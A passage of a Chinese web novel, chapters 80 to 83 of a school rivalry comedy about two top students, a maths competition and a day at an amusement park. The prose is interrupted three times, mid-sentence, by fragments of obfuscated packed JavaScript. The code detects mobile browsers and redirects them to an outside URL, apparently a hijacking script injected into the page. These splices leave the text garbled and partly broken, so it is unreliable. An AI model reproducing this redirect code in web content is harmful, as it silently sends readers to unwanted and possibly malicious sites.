隔壁床位的小孩忽然调皮地玩起了风扇的开关,林茉茉放在桌上的寒假作业本被风扇强劲的三档风一连掀翻了好几页。在摊开的那一页上,印在最后的一个问题是“新的一年到来了,你想对爸爸妈妈说些什么?” 题目下,是用铅笔写下的一行字迹,工工整整、郑重其事—— 「对不起,要是我是一个健康的小孩就好了。」 一周后的放学时分,林寂来A班找纪小鱼。 “漫画还给你,谢了。”林寂眉眼舒展,朝纪小鱼露出了一点笑意,“手术很成功,我妹妹昨天已经出院了。” “诶?那可真是太好了!”纪小鱼由衷地笑了。 “是啊。”林寂转头望向遥远的天际,“我爸爸说,我原本有一个小姑姑的。她四、五岁那年忽然生了一场怪病,现在想起来可能和我妹妹之前表现出来的症状差不多。可是在二十多年前,我老家镇上的医生,连我小姑姑生的是什么病——直到最后,也没能弄清楚。我的小姑姑没撑多久就去世了,裹着草席,被一辆板车拉回了家。” “还好,”林寂如释重负一般深深地呼出了一口气,“还好现在的医疗技术发展了。” 纪小鱼沉默了一会,目光倏尔变得柔软—— 是啊,感谢医疗技术日新月异的发展,让许多悲剧终于不再重演。 这个世界原本有那么多的遗憾和不完美。庆幸的是,总有人在修修补补,总有人在负重前行,总有人在坚持不懈地用自己的爱心、努力和智慧,疗愈伤痛,拯救苦难,做那黑暗中的烛火。 生命载舟于起伏的流水。感谢这人间,终究是希望长存。 80.第八十章 无能狂怒 诸位请听我一言, 开心其实不用钱。 您只需要咧咧嘴, 甩甩胳膊动动腿。 嘿嘿!(^_^)/☆ 今天是日子明媚的一天、阳光开朗的一天、充满希望的一天! 大家都管这一天叫做——“星期五”! 春日融融,暖风微醺。纪小鱼悠悠闲闲地靠在座椅背上,沐浴着阳光,舒展双臂——哎呀,真不巧,伸出的手掌一不小心打到了何非亮右边的肩膀。 哎呀,这个打都打了……干脆再多打几下! 功德+1、+1…… 何非亮终于停下了手中的笔,无奈又困惑地侧过头来,“干嘛?” “不干嘛,”纪小鱼嬉皮笑脸,毫无悔改之意,“就打你一下。” “至少打了五下。” “呵呵。”一不做二不休,纪小鱼当机立断地伸出猖狂的左手,在何非亮的肩膀上,像拍皮球一样胆大包天地拍了起来,一边拍还一边数,“六、七、八、九……” “……”何非亮撩着眼皮,静静地琢磨着纪小鱼的神情,似乎在思考是谁给了他这样的勇气。 记者社的卧底社员蹲守在一旁暗中观察,兴奋之意溢于言表。他在本子上用颤抖的笔触匆匆记录道,“大新闻!都说‘打是亲骂是爱’,四舍五入,他们已经亲了十下了!!!” “怎么样?”纪小鱼得意洋洋地挑起眉梢,斜睨着何非亮,一副狂拽酷炫的嚣张模样,“我就坐在此处不动,你有本事打回来呀!啊哈哈哈哈!我好想被打呀!” 纪小鱼嘴上这样说着,内心却十分淡定——哎呀,大家不要误会,不是我本人比较欠扁,而是我真的一点也不慌!一、点、也、不、慌~ 不慌是因为有不慌的底气。(*^3^) 底气来自于我惊人的实力!\(//^//)\ 根据我这么多年来对心理学的广泛研究、对人性的潜心洞察、对人类社会的深刻理解——我已经可以完全料定,像何非亮这种腹黑、虚伪、做作、有沉重偶像包袱的人,是不可能敢在大庭广众之下公然打回来的! 果然,被疯狂挑衅的何非亮,如意想之中那样,双手保持着淡定抱臂的姿势,丝毫没有要进攻回来的意思。 纪小鱼心头忍不住泛起了喜庆的浪花——啊哈哈哈哈哈!何非亮呀何非亮,管你什么高冷男神,还不是任由我纪小鱼轻松拿捏~ 哦耶,我真是太机智了! 这么多年来,心理学的书籍没有白读。^_^ …… 另一边,何非亮静静地看着纪小鱼,唇角忽而流露出了一丝似有若无、戏谑玩味的笑意。 纪小鱼的目光滑落到了何非亮微微上扬的唇畔,心里下意识地一紧,忽然就浮现出了一种不详的预感。 诶? 奇怪了……根据大自然的规律,何非亮这个时候不是应该无能狂怒、无可奈何、无所适从、无语凝噎的吗? 怎么反而显出了一副胜券在握、坐观好戏的模样? 这、这不太符合《微表情心理学》里提到的知识点啊! 难道…… 我不小心买到盗版书了吗!?╭(°A°`)╮ “严老师,”何非亮微仰起头,目光悠悠地落在了纪小鱼身后的阴影,“您不要责怪小鱼,他应该是最近学习压力太大了。” 什么??? 严、严老师!? 这……这怎么可能呢? 骗人的吧…… 纪小鱼嚣张的气焰立马哑了火。他哆哆嗦嗦地回过头,恰好对上了严老师镜片后严厉的目光,忍不住打了个寒颤。 “老、老、老、老师好!”纪小鱼尴尬地咧了咧僵硬的嘴角,露出了一个人畜无害的笑容。 “纪小鱼,”严老师居高临下地注视着他,语重心长道,“学校不是法外之地,压力再大也不能欺负同学。” “啊……我没有……我、我刚才只是……”纪小鱼慌张地看向何非亮,却发现他不但见死不救,还隐约流露出了一丝幸灾乐祸的神情。 呵,好一个戏剧的看客!好一颗冷漠的凉心! “我……”纪小鱼气得自救,急中生智,伸出五指,认真地胡说八道,“我刚才只是实在按捺不住,心中对何非亮同学深深的崇敬之情!” 何非亮:“???” “这五根手指,”纪小鱼煞有介事的声明,“象征着我对何非亮同学五体投地的敬意!” “拍打十下——代表这敬意已经到了十分!” 纪小鱼越说越激昂澎湃,说到最后,几乎要声泪俱下了,“这些天来,作为何非亮的同桌,我眼睁睁地看见他,为了即将到来的数学竞赛,勤耕不辍、殚精竭虑、只争朝夕、不负韶华!我急得……啊不,我感动得眼泪都要掉下来了!” “啊,这样吗……”严老师镜片后的目光柔软了下来,慈爱又欣赏地看向了何非亮。 何非亮:“???” “严老师,你看,我崇拜他还来不及呢,”纪小鱼趁势追击,谄媚地握起拳头,在何非亮的背上殷勤地锤了起来,“怎么可能会欺负他呢?” “嗯,很好。”严老师欣慰地点了点头,“看到你们同学之间能够这样的和睦友爱,我就放心了。” …… 严老师终于踱步去了讲台,大难不死的纪小鱼深深地舒了一口气。 “小鱼,原来你这么崇拜我啊。”何非亮眉眼一弯,漏出一声轻笑,“呵呵,倒也不必五体投地这么多。” “切!”纪小鱼不开心地朝何非亮翻了个白眼,“你别做梦了,我怎么可能会崇拜你哦?我就算是崇拜一只蟑螂也不可能会崇拜你的!” “那你为什么要拍我?” “你说呢?”纪小鱼没好气地反问道。 “哦,让我想想。”何非亮随手从桌边抽出一张草稿纸,在上面慢条斯理地写下了一个“拍”字,然后缓缓开口道,“拍,是动作。” “嗯,”纪小鱼冷冷地耸了耸肩,“然后呢?” “怕,是内心。”何非亮气定神闲地提笔将“拍”字的部首一改,“拍”字就变成了“怕”字,“哎呀,小鱼,这次数学竞赛可不简单,你莫非是怕了?” 怕? 怎么可能! 纪小鱼一把夺过何非亮手中的笔,把草稿纸上的那个“怕”字恶狠狠地涂抹成了一团麻线,“你别搞笑了,我的字典里压根就没有‘怕’这个字!” “哦,是吗?我记得你小时候挺怕蟑螂的。” “你……!”面对着这样无情的揭短,纪小鱼的拳头硬了。 但碍于已经站在了讲台上的严老师,他的无影拳很遗憾没有发挥的空间。 上课铃声适时打响。 新的征战已写好序章。 “行,”纪小鱼皮笑肉不笑,从目光中放出闪电,“今天算你运气好。” “我运气一直都挺好。”何非亮轻松地笑了笑。 运气? 呵呵,对啊,就是运气!何非亮他可不就是因为运气好,才得以在屡次比试中,总是那么刚好的胜过自己一点点吗? 嘿呦,烦死了! 纪小鱼无能狂怒ing…… - 下课了,比下课铃声更响亮的,是蒋小胖如雷的步伐。 他急匆匆地从文科班跑来,大张着嘴巴,朝纪小鱼阿巴阿巴,“%#@**!” “啊?”纪小鱼不明所以地向后缩了缩,“怎么了小胖?你肚子饿了吗?你看上去好像想把我给吃了诶……” 蒋小胖委屈巴巴地摇了摇头。他的左手指了指自己张成巨大“O”型的嘴巴,右手举起了翻开的草稿本,那上面用仓皇的字迹写道——“救救,我的嘴巴突然合不拢了!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374496|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哦~原来是这样啊!”纪小鱼认真地左右观察了一下,恍然地点了点头,“别担心,也不是什么疑难杂症,你这只是下巴脱臼了。” “%#@**?” “别怕,放轻松!”纪小鱼伸出双手,摁在了蒋小胖的后槽牙处,“来,三、二、一,妙手回春!” “咔”的一声,下巴完美复位。 啊哈!不愧是我! 纪小鱼得意地露出了微笑。 蒋小胖终于能够流利自主地开始哭诉,“小鱼,呜呜呜……我也不知道怎么了,实在是刚才那节数学课太催眠了,我困得不行,一直打哈欠。然后打了一个很大的哈欠,就变成那样了。呜呜呜呜,刚才真是急死我了!” 同样急死了的大概还有蒋小胖班上的数学老师。他上着上着课,讲台下的学生,突然间,就这么保持着张开大嘴的模样,惊恐地看着他……啊咧咧? (;`O '')……╭(°A°`)╮ “哎呦,别紧张,”纪小鱼同情地拍了拍蒋小胖的手臂,安慰道,“你看,这不已经好了吗?” “我测试一下,”蒋小胖从口袋里掏出了一包烧烤味的薯片,“咔吧咔吧”地咬了起来,不一会儿,嘴里便惊奇道,“诶~是真的痊愈了诶!小鱼你可真厉害!” “咳咳,低调一点、低调一点。”纪小鱼乐得开了花,一边不忘朝何非亮挤眉弄眼,“诶,何非亮,啧啧啧,哎呀呀,你,不是很牛逼吗?请问,你会这一手吗?呵呵~” “呵呵,”何非亮无所谓地耸了耸肩,“这样吧,我给你一个证明我不会的机会……我先帮你把下巴卸下来,再试试看能不能装回去。” “你——走——开!”纪小鱼凶巴巴地板起面孔,否决了这一个无聊的提议。 “你想要我离开这个座位的话,下一次考试可以加油。”何非亮厚颜无耻地说。 纪小鱼无能狂怒ing……- - 放学啦!放学啦!喜闻乐见,放学啦! 都说“放下”是一种态度。 其实“放学”更是一种激情! 哎呀呀,谁会不喜欢下午四点四十五就可以放学回家的美好时光呢? 校门口的铁栅栏像洪水的闸门,一退开便涌出了快乐的人潮——有人乘风破浪;有人如狼似虎;有人脚步故作矜持,嘴里却吹起了口哨。 蒋小胖为了报答纪小鱼的巧手正骨之恩,特邀他放学以后到柴爸炸鸡店里一叙。 呵呵呵呵,小胖也真是的,这也太客气了吧! 哈哈哈哈哈!那我就不客气了! 于是,一大份香味扑鼻、外酥里嫩、新鲜出炉的黄金炸鸡,一满杯浓缩气泡会在嘴里打滚爆炸的冰可乐,就这么摆在了纪小鱼的面前。 真的好好吃哦~ 纪小鱼正吃得眉开眼笑,一道熟悉的身影忽然出现,端着餐盘,轻车熟路地坐在了他身旁的座位。 “诶?”纪小鱼浑身立起不怀好意的尖刺,声音也跟着变得尖酸刻薄了起来,“何非亮?你怎么也在这里?小胖邀请你了咩?” “怎么,吃炸鸡还要邀请函么?” 何非亮优雅地用吸管小口啜饮着冰可乐,一句话又把纪小鱼给呛了回去。 “啊啊啊啊啊!!!学神哥哥,你也来和我们一起吃炸鸡吗?”蒋小胖整个人化身成了一只激动到结巴的土拨鼠,连带着眼睛也变成了粉色爱心的形状,“啊啊啊啊啊,这真是太太太好了!我我我我我好开心!” 说着,蒋小胖还不忘把原本摆在纪小鱼面前的炸鸡篮子往何非亮面前殷勤地推了过去,“学神哥哥,你随便吃哈!千万不要客气!” 纪小鱼眼睁睁地看着这一切,险些气晕过去。 嘿呀,怎么搞的,小胖怎么又叛变了哟!? 都怪何非亮!妖“颜”惑众!!! 纪小鱼无能狂怒中…… 81.第八十一章 开心乐园 太阳东升西落,好像时间长了脚。 转眼间,明天就是数学竞赛的复赛了。 一大早,黄鼠狼就来给鸡拜年,啊不,是何非亮就来和纪小鱼打招呼。他在手机上发来消息问——“小鱼,天气很好,要不要出去玩?” 呵呵。 纪小鱼的颊边泛起一丝冷笑—— 好一个反向劝学! 众所周知,考前的24小时,是进行抢救性复习的最佳黄金时期。这期间,无论是使用深度懊悔复习法、回顾统筹复习法、定点爆破复习法,还是超级狂人复习法,都绝对可以起到事半功倍倍倍倍倍的效果。 不必多说,这是一道送分题——业精于勤而荒于嬉,何非亮一定是想通过诱骗我出去玩,来达到搅扰我复习大业、踢飞我成功基石、击溃我灿烂人生的邪恶目的。 对此,纪小鱼脑海中浮现出了两个选项—— A. 严词拒绝 B. 将计就计 BBBBBBB!!! 纪小鱼毫不犹豫地选择了B。 当然是选B啦!可恶的何非亮,竟然敢在关键时刻打扰本(卷)王复习?实在是胆大包天!哼,总得给他一点颜色瞧瞧吧! 要不,我先假装应承,然后再放他鸽子?这样,他白跑一趟扑了个空,而我,则可以舒舒服服地在家安心复习…… 唔,可是……这样的话,又好像有点残忍…… 他去到以后,发现只有自己一个人,会不会……有点难过呢? 啊,这样吧,和谁玩不是玩呢!先看看他说去哪里,然后我把能叫上的人都叫上去陪他好了。 哈哈哈哈哈,到时候这么多人聚在一起,应该都足够开一个超酷的派对了吧! ↓↓↓(此处为脑补画面) “哟哟,切克闹,帅哥帅哥看过来~” e on baby don''t be shy, everybody high起来!high起来!” “亮哥,快来玩呀!就等你啦!” “来,大家掌声欢迎亮哥!我们今天的主角!” …… 何非亮:“???” ↑↑↑(脑补结束) 哈哈哈哈哈!何非亮看到有这么多人都在等他一起玩,应该会彻底懵掉吧! 不过,这样的话,他大概就不会失落,不会寂寞,也不会不开心了吧。 嗯……good idea!我真是太机智了! 于是纪小鱼酷酷地扬起半边唇角,在手机上飞快地回道,“好啊,去哪里玩呀?^_^” 屏幕上很快就弹回了一条消息——“OB乐园。” 啊,OB乐园!? OB乐园位于宇宙中心,是世界上最好玩的地方。 纪小鱼咽了口唾沫,捏住手机的手指不由自主地紧了紧——怎么办,我也好想去哦~(?????????)~ 不如……我也去吧。 我带几套题去…… - 就像何非亮说的那样,今天天气很好。 云朵是拉丝的棉花糖,花朵是灿烂的笑脸。路过的小朋友牵着会飞的小熊气球。天蓝得像一个轻盈的梦。 上一次来OB乐园,还是小学六年级的春游。那一天的天气也很好。纪小小鱼为了证明自己是胆子最大的小朋友,争抢坐到了过山车最刺激的第一排。 呃……其实根本不用抢。一整条过山车热热闹闹的,眼看都快要坐大半了,班里也没有哪个小朋友再敢像纪小小鱼一样选择第一排的位置。直到最后,又上来了一波同学,才有隔壁班的班长何非亮酷酷地坐了过来。 真是冤家路窄。纪小小鱼斜睨了何非亮一眼,清了清嗓子,认真道,“好吧,看在你敢坐在第一排的份上,勉强算你是一个合格的勇士。不过,这不能证明你的胆子比我的大。” 何非亮懒懒地打了个呵欠,“我有点困,先睡一会,你等会不要叫得太大声。” “切,”纪小小鱼朝何非亮翻了个白眼,“不就是玩个过山车吗,我才不会叫呢。我很勇敢的。” 话音未落,过山车倏尔启动,呼啸着加速攀升,于百米高空倒挂悬停,继而逆风直坠—— 纪小小鱼:“救命啊!!!” 纪小小鱼:“啊啊啊啊啊啊!!!” 纪小小鱼:“妈妈!!!” 何非亮:“……” 天旋地转,晕晕乎乎。不知过了多久,终于下车了。工作人员竟然还给大家都拍了照片,洗好了挂在展示墙上。显然是有备而来,等候多时了。 “小朋友,你看,”工作人员热情地招呼着第一个从门口走出来的纪小小鱼,“这个是你的照片哦,好可爱哦~要不要考虑买回家做纪念呢?只要20元一张。” “不要!”纪小小鱼果断地拒绝了。他嫌弃地看向照片上自己那张吓到扭曲变形的脸——天啊,如果可以的话,他万分希望自己能够和过山车上的这个抽象小人撇清关系!不知道、不清楚、不认识、反正不是我! 何非亮倒是毫不犹豫地买下了他自己的照片。 “哎哎哎,”纪小小鱼忍不住吐槽道,“你是不是傻哦,20块钱一张的照片你也买?” “你不买吗?”何非亮反问道。 “我肯定不买!”纪小小鱼坚决地说,“你难道没有听说过正确的消费原则吗?哦,没有的话也很正常,这可是表姐高中课本上写的。我来给你背一下:量入为出,适度消费;避免盲从,理性消费;保护环境,绿色消费;勤俭节约,艰苦奋斗……” 何非亮眨了眨眼睛,朝纪小小鱼露出了一丝意味深长的笑容,“等一下后面还有很多同学会经过,每一个经过的同学都会看见这张照片……呵呵……” “哦!”一语惊醒梦中人,纪小小鱼被狠狠拿捏了,无奈忍痛掏钱,“我买!我买!” 呜呜呜,这次春游,妈妈总共就给了20块钱的零花钱。被照片狠宰了一顿后,纪小小鱼再碰见卖冰淇淋的红鼻子小丑,就实在是捉襟见肘、囊中羞涩了。 纪小小鱼远远地站在一边,眼巴巴地看着大家都围住小丑买冰淇淋。 好气哦,何非亮也跑去买了,还一买就是两个。 “喏,给你一个。”何非亮递过来一根冰淇淋。 “啊?”纪小小鱼呆呆地接过,有点不敢下嘴,“为、为什么给我啊?” “太甜了。”何非亮淡定地说。 “哦。”纪小小鱼这才伸出舌头浅尝了一口——冰冰的、凉凉的、甜甜的,哇,好好吃哦! “是有点甜,不过我就是喜欢吃甜的。”纪小小鱼开心地说。 …… 时隔五年,再次坐上过山车。 “小鱼,你还要坐第一排啊?”何非亮用一种怀疑的目光打量着纪小鱼。 “那当然啊!”纪小鱼理直气壮地瞅着何非亮,“坐过山车不坐第一排,约等于吃冰煮羊不蘸拉克申。” “呃,我只是想到你以前……” “诶,这就是你的不对了!士别三日,当刮目相待!你怎么能用过去的眼光来看待今天的我呢?”纪小鱼连忙用话语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385901|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堵住了何非亮的嘴,停顿了一下,又朝何非亮挤眉弄眼道,“不过,如果你怕了的话,车还没启动,现在还可以反悔,我可以勉强陪你坐去后面。” “呵呵。”何非亮干脆利落地扣下了第一排座位的安全锁。 这下就不能改了…… 纪小鱼忍不住咽了口唾沫。 “没关系的,”纪小鱼在心里默默为自己打气,“纪小鱼,你可以的!以前会怕不代表现在会怕,你已经是一个时代新人了……” 倒计时结束,过山车狂飙而出。 小时候的记忆和现实重逢,有什么东西变了,又有什么没变。 纪小鱼:“救命啊!!!” 纪小鱼:“啊啊啊啊啊啊!!!” 纪小鱼:“妈妈!!!” 何非亮侧过头,看着一路上都在大呼小叫的纪小鱼,无奈地笑了一下——哎呦,这家伙真的长大了吗?怎么毫无长进。 过山车冲入云霄,纪小鱼只觉得自己的心脏也要跟着飞出来了。 过山车一头栽下,纪小鱼被失重的感觉包裹,又感觉自己仿佛就快要撒手人寰了。 扑面的风,翻腾的云,渺茫的天,空旷的地。飞鸟奔逃,人却长不出翅膀。命运唯有托付给压在身上的那一道充气式安全锁,可它看上去那么的薄弱,甚至还有点摇晃。天呀,这玩意真的靠谱吗?会不会漏气啊?啊啊啊啊啊啊,又来了,又是一道“急转直下”的俯冲!还有完没完了!天啊,我怎么感觉自己要飞出去了? “哇哇哇哇哇!”纪小鱼闭上眼睛,语无伦次,“何非亮,你听着,我这辈子最大的遗憾就是还没有好好地打败过你。” 风把他的声音拍散得一塌糊涂,何非亮困惑地侧过头,“什么?你最大的遗憾是还没有好好地来‘爱’过我?” “哈?什么?”纪小鱼的耳边隔着一道疾风筑起的屏障,差不多聋了个四分之三,“你说什么?你好爱我?” 何非亮一向波澜不惊的脸也有点崩,“等会再说吧。现在听不清。” “什么,现在就亲亲!?”过山车驰骋在翻转的天空,纪小鱼视线内森冷的钢轨如同道道惊悚的铡刀林立悬于头顶。但更骇人的好像是从风中传来的虎狼之词。 今天的风有点过于离谱了。 何非亮本来决定暂时先不说话好了,但是没忍住,在排山倒海的一片尖叫中,舒展眉眼,笑出了声来。 …… 物价上涨,原本20元一张的照片,现在已经要30元一张了。 …… 又玩了好久。 梦幻乐园里,是谁在浅吟低唱—— “ 游乐场流连忘归 恍惚间残阳将微 摩天轮星辉 俯仰间迷离心醉 愿与你共乘风起飞 晚风里笑声清脆 烟花碎漫天华美 你纵情我相随 欢乐趁机染眼眉 愿与你并肩度年岁 是谁持笔闯入 写我因缘际会 这命运从此难解难违 似那欢喜冤家 恰好又相识于微 忽悟得旧忆多珍贵[1] …… ” …… 一天的行程结束了,OB乐园果然是世界上最好玩的地方。 很遗憾,纪小鱼书包里带去的题那是一道也没写……╮( ̄▽ ̄"")╭ 不过,时间不等人。当第二天太阳再次升起的时候,数学竞赛的复赛终于还是如约而至。 82.第八十二章 一路花开 大巴载着一车虚伪的同学奔赴考场。 为什么说是虚伪呢?这里绝对没有冤枉任何一名同学。 犹记得,刚走出初赛考场的时候,除了何非亮一如既往地面无表情、神色淡淡以外,大家都在痛哭流涕地互相“卖菜”,争相证明自己考得真的更差一点,并且同仇敌忾地痛骂出题老师毫无人性—— 【太难了,根本做不出来一点好吧?】 【唉,完全没有希望了!大事去矣!】 【什么?复赛再努力?兄弟,我肯定是不可能再有复赛了!我心里有数得很!唉,青山不改,绿山长流,就此别过了朋友们!】 【我真菜,真的,我怎么连题目都看不懂?我都不知道他要我求什么?呜呜呜,话说你们都能看得懂题目吗?】 【什么,你找我对答案?天啊,你在开玩笑吗?对答案找亮神去啊!我哪会啊,我全是蒙的!】 …… 两个星期以后,结果出来了——呦呵,S中参赛选手全员晋级,并且分数都还不错。^_^ 大家互相之间,都默契十足地,没有人再提起那天走出考场时所说过的话了。 那么,为什么说何非亮也非常的虚伪呢? 纪小鱼生气地出庭作证—— (1)考前何非亮他明明说好了,自己只是“随便考考”,都没有怎么复习。 (2)考完以后,纪小鱼在第一时间询问了何非亮感觉怎么样,何非亮打着呵欠说“不怎么样”。在纪小鱼的再三追问之下,何非亮仍然坚持道“是真的不怎样”。 (3)结果成绩出来,何非亮竟然考了满分!——你说他虚伪不虚伪!?超级超级无敌虚伪好吧? 虽然纪小鱼也考了满分,但他还是咽不下这口气。 “喂,你不是说感觉考得不怎么样吗?”纪小鱼生气地质问道。 何非亮无辜地耸了耸肩膀,目光中流露出了些许真诚的意味,“我是说——感觉,难度不怎么样。” 嘶~ 纪小鱼痛苦地捂着胸口倒退三步。 可恶,实在是太可恶了! 别人虚伪也就罢了,何非亮不仅虚伪,还如此装逼! 瞧瞧!他、他这话说的,礼貌吗? 可是……可是偏偏又奈何不了他,只能徒劳地握紧双拳…… 嘿呀,好气哦!究竟要怎么样才能够挫一挫何非亮这种嚣张到欠扁的气焰哦? 拜托拜托,有没有哪个好心的导演帮忙看一下,目前我这个逆袭打脸的爽文剧本,进度究竟推到哪里了?急,在线等! …… 「我这个逆袭打脸的爽文剧本,进度究竟推到哪里了?」 纪小鱼脑海里又浮现出这个问题的时候,大巴恰好载着他们一车人,拐弯驶入了一条遍植木棉的长道。 时值花期,千树万树朱华开,烧得漫天通红。 如此轰轰烈烈的盛景,单用一个“美”字描绘未□□于苍白。可是该用什么词汇来形容呢?这样热辣辣鲜妍明媚的颜色,这样灿烂到近乎辉煌的生机,这样不管不顾涂染天空的烂漫。 纪小鱼呆呆地望向窗外,感受到了一种无声的昭示。 啊,难道……难道,期待已久的成功,就将在这一次的复仇,啊不,复赛中实现吗!? 错不了!自古红色都是大吉大利的大喜之兆。这一路红花,定是在预示着我将会旗开得胜、一举夺魁! 至于何非亮—— 啊! 纪小鱼醒悟过来,连忙侧过身子,用手盖住了何非亮的眼睛,“诶,你不许看!” “不许看什么?”何非亮莫名其妙道。 “不告诉你!” “哎呦,小鱼,这世界上看得到的东西就是看得到,遮也没用。” “胡说八道,难道你现在眼前看到的不是你漆黑的未来吗?” “伟人曾经说过,‘在坚冰还盖着北海的时候,我看到了怒放的梅花[1]。’” 纪小鱼:“……” 大巴车就是在这个时候停下来的。 “同学们,在睡觉的醒一醒,在看书的抬抬头,哦,还有,在打架的先停手——”司机大叔拉长了声音,激动地宣布道,“我们到了!” - 建筑楼红砖青瓦,古色古香;老榕树枝叶四张,处处成荫。百年名校,自有风华底蕴。 复赛的考场就设在Z大的华罗庚楼里。说起来纪小鱼还是第一次来到Z大。他缀在队伍的后头,跟着带队的严老师,一路上走走停停,目光好奇地朝四面八方探去,只可惜怎么探也探不完全。 一条路总是又分出诸多小径,每一条都向远处延伸,有的通往宽阔的湖边,有的通往树丛里的小楼,有的更神秘一些,尽头隐隐绰绰地消失在了盎然的春意里。 昨天在游乐园的好心情显然延续到了今天,纪小鱼突然开心地扬起手挥了挥,“Hi~” 何非亮眨了眨眼睛,看向空无一人的灌木丛,奇怪道,“小鱼,你在和谁打招呼?” “小鸟啊。” 何非亮:“……小鸟好像被你吓跑了。” “哼,胡说!”纪小鱼不服气地囔道,“明明是被你吓跑的!” 走着走着,一阵香风,一阵花雨,他们俩不知不觉中就成为了路人眼中的焦点—— 路人甲:“天呐,我们学校有这么帅的人吗?帅到有点唯美了。” 路人乙:“别傻了,肯定是隔壁学校的。” 路人甲:“隔壁学校有这么帅的人吗?” 路人乙:“好像也没有。” 路人丙:“哇噻,我的眼睛今天中特等奖了吧?哎呀呀,可是他们看上去还很嫩诶……算了,我还是看看就好了……” 路人丁:“帅哥?还是两个?惨了,这一整个月都泡在实验室里,莫不是出现幻觉了?呃……可是前置相机拍出来的我自己,怎么还是这么的真实?呜呜呜……” “帅哥留步,”终于,有人大着胆子冲到了何非亮的面前,磕磕绊绊地开口问道,“能、能、能加个微信吗?” 何非亮站着没动。目光游移,顺着和煦的微风轻飘飘地落在了纪小鱼的脸上,似是欲言又止。这样以后他回望向堵在身前的女生,抱歉一笑。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412702|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦,”这位勇敢的女生看了看何非亮,又看了看站在他身边的纪小鱼,恍然道,“懂、懂了!对不起打扰了!你们、你们加油!” 说完,她便掩面飞快地逃走了。 “啊?”纪小鱼困惑地挠了挠头,“她懂什么了?” 何非亮耸了耸肩,表示自己也不明所以。 “她给我们加油?奇怪,她怎么知道我们今天有比赛呢?” “不知道啊。”何非亮一脸无辜地说。 “哈哈,你怎么什么都不知道哦?”纪小鱼欢快地开口,“那么,祝你等会考试的时候也什么都不知道!” “好的,也祝你负赛加油,”何非亮微微停顿,不紧不慢地继续开口道,“哦,我说的是‘胜负’的‘负’。” 纪小鱼:“!!?” 两人终究是一路扭打去了考场…… - 省级的比赛自然是严格了许多。所有私人物品统统不能带入,就连笔也由考场统一派发。 教室正前方的静音时钟兢兢业业地旋转,此时距离考试开始还有不到五分钟。 监考老师一前一后,目光已经开始了逡巡。 考生们肃然而坐,他们是来自全省各地的天之骄子,有着不同形状的头和身体。 S中的各位选手像蒲公英的种子一样散落在了不同的位置。张朝阴沉着脸,郁郁不乐,如有片片乌云低低地在他的头顶集聚;苟浮云紧张地扶了扶自己的眼镜,又不安地抠了抠桌角,随即又焦虑地揪起了头发;乔冬冬翘着腿,漫不经心地曲着手指,欣赏自己新做的粉色美甲;吕天明把玩着考场派发下来的笔,心头大乐——哎呀,赚到了!听说这次考试保底能拿个省三等奖,现在看来还能再多白得一支笔。你还别说,这笔挺高级的,在中心书城看到过,卖十五、六块钱一支呢! 何非亮不慌不忙地放空了目光,静气凝心、养精蓄锐、抱朴守一。 纪小鱼眼里冒出火和闪电——很好,这是一场赌上了地位、尊严,还有面子的比试!(#`∧ '') 输的人可是要为对方打一个学期的水呢!!! 他也不敢说自己有十成十的把握,但谁又敢说,这一次就一定不能成呢? 古人云:“道阻且长,行则将至;行而不辍,未来可期。”想来自己在打倒何非亮的征途之上,不知不觉也已经走了十多年的弯路,啊呸,长路了。 这无数个日日夜夜的辛勤耕耘和拼命追赶,总能换来些什么吧? 急促的铃声响起,像劈面而来的刀光剑影——考试正式开始! 来吧,是时候一决胜负了!!! 纪小鱼深吸一口气,郑重地翻开了考卷的扉页—— 完蛋了,第一题就不会…… ↑↑↑哈哈哈,我开玩笑的啦!(^_^)/☆ …… 交卷的时候已经是正午,阳光把窗玻璃照耀得一片金黄。 有人嫌热开了点窗。 一阵柔软的风拂过,一瓣流浪的樱花从敞开的窗缝间翩然而入,悠悠地侧卧停泊在了纪小鱼的桌上,看起来像是一个小小的、故事未完的逗号。 83.第八十三章 还有下次 中午,严老师请客吃饭。众人宴饮谈天,如泣如诉,只是抱怨的内容似乎都大同小异,并且似曾相识。 “呜呜呜,好难哦,根本不会!我越写越觉得自己像个智障!写到最后实锤了,我就是个智障!最后一道大题连题目也看不懂。呜呜呜!” “是啊,我都搞不懂最后那么难的题究竟是出给谁做的哦!唉,估计只有真正的数学之神才能解出来吧。唉,悠悠苍天何薄于我,我怎么就不能是那个天选之子呢?” “呃……所以最后那道题是要用韦达跳跃吗?有人做出来了吗?我的时间只够简单写一个思路了……” “别讨论最后一道题了,前面的题也不简单啊,到处都是陷阱!出题老师也太狡猾了吧!” “就是啊!我到要交卷的时候才反应过来我第一题就被坑了,可惜已经来不及了……” …… 